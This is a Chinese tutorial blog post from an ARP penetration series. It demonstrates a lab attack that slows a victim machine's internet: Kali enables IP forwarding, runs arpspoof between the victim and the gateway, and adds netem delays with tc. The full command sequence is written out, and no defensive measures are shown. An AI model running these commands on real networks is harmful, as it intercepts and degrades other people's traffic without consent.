首页 > 编程学习 > ARP渗透与攻防(六)之限制网速攻击

ARP渗透与攻防(六)之限制网速攻击

发布时间:2023/1/25 12:44:18

系列文章

ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
ARP渗透与攻防(四)之WireShark截获用户数据
ARP渗透与攻防(五)之Ettercap劫持用户流量

ARP限制网速攻击

大家没想到吧,ARP还能限制对方网速。当kali欺骗了网关和受害者的时候,受害者访问网络就需要经过kali的网卡,那我们限制kali网卡的速度或者转发的速度就可以限制对方的网速。这里可以使用的工具有tc、iptables、WonderShaper等等,我们以tc为例,tc是通过限制网卡的速度来限制对方的,是一种杀敌一千自损八百的手段。

1.TC工具介绍

在Linux中,流量控制都是通过TC这个工具来完成的。通常, 要对网卡进行流量控制的配置,需要进行如下的步骤:

◆ 为网卡配置一个队列;

◆ 在该队列上建立分类;

◆ 根据需要建立子队列和子分类;

◆ 为每个分类建立过滤器。

需要注意的是, 在TC 中使用下列的缩写表示相应的网络延迟:

时间的计量单位:

s、sec或者secs 秒

ms、msec或者msecs 毫秒

us、usec、usecs或者一个无单位数字 微秒

QDisc(排队规则) [qdɪsk]是queueing discipline [ˈkjuːɪŋ] [ˈdɪsəplɪn] 的简写,它是理解流量控制(traffic control)的基础。无论何时,内核如果需要通过某个网络接口发送数据包,它都需要按照为这个接口配置的qdisc(排队规则)把数据包加入队列。然后,内核会尽可能多地从qdisc里面取出数据包,把它们交给网络适配器驱动模块。

2.TC命令介绍

1.限制网速200ms延时

tc qdisc add dev eth0 root netem delay 200ms
参数:
qdisc:排队规则
add:添加
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间

在这里插入图片描述

2.取消限制网速200ms延时

tc qdisc del dev eth0 root netem delay 200ms
参数:
qdisc:排队规则
del:删除
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间

在这里插入图片描述

3.修改网络延时

tc qdisc change  dev eth0 root netem delay 300ms
参数:
qdisc:排队规则
change:修改
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间

在这里插入图片描述

3.ARP攻击限制网速的具体步骤

环境准备

kali 作为ARP攻击机,IP地址:192.168.110.12

win10 作为被攻击方,IP地址:192.168.110.11

网关(路由器),IP地址:192.168.110.1

1.kali开启端口转发

cat /proc/sys/net/ipv4/ip_forward 	        #值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward     #开启流量转发

在这里插入图片描述

2.kali开启ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11

在这里插入图片描述

3.查看靶机当前的网速

访问网站查看网速

https://www.speedtest.cn/

在这里插入图片描述可以看到这是没有开启限速时,正常的网速

4.kali开启网络延迟限速

tc qdisc add dev eth0 root netem delay 500ms

在这里插入图片描述

5.kali查看限速规则

tc qdisc show

在这里插入图片描述可以看到网速已经限制上了

6.查看靶机当前的网速

https://www.speedtest.cn/

在这里插入图片描述这是限速后靶机的网速

7.kali修改网速限制

tc qdisc change dev eth0 root netem delay 800ms

在这里插入图片描述

8.kali查看限速规则

tc qdisc show

在这里插入图片描述

9.查看靶机当前的网速

https://www.speedtest.cn/

在这里插入图片描述这是修改限速规则后靶机的网速,可以看到这个速度越来越慢了

10.取消限速

tc qdisc del dev eth0 root netem delay 800ms

在这里插入图片描述

11.查看限速规则

tc qdisc show

在这里插入图片描述可以看到,现在我们已经没有了任何一个限速规则

12.查看靶机当前的网速

https://www.speedtest.cn/

在这里插入图片描述靶机的网速恢复正常了

4.限速原理讲解

在这里插入图片描述


本文链接:https://www.ngui.cc/article/show-841466.html
Copyright © 2010-2022 ngui.cc 版权所有 |关于我们| 联系方式| 豫B2-20100000